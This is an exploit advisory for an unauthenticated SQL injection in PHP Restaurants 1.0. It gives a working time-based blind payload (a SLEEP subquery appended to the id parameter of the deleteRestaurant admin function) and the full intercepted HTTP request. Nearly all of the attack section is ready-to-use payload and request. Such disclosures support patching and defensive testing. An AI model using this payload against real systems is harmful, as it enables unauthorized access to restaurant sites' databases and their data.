PHP Restaurants 1.0 SQL Injection

`# Exploit Title: PHP Restaurants 1.0 - SQLi (Unauthenticated)  
# Google Dork: None  
# Date: 01/29/2022  
# Exploit Author: Nefrit ID  
# Vendor Homepage: https://github.com/jcwebhole  
# Software Link: https://github.com/jcwebhole/php_restaurants  
# Version: 1.0  
# Tested on: Kali Linux & Windows 10  
  
*SQL injection is a code injection technique used to attack  
data-driven applications, in which malicious SQL statements are  
inserted into an entry field for execution (e.g. to dump the database  
contents to the attacker). wikipedia*  
  
  
===Start===  
Exploit Url = http://localhost/php_restaurants-master/admin/functions.php?f=deleteRestaurant&id=1337  
AND (SELECT 3952 FROM (SELECT(SLEEP(5)))XMSid)  
  
Burpsuite Proxy Intercept  
GET /php_restaurants-master/admin/functions.php?f=deleteRestaurant&id=1337  
HTTP/1.1  
Host: web_server_ip  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://web_server_ip/php_restaurants-master/admin/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: uid=1  
Connection: close  
`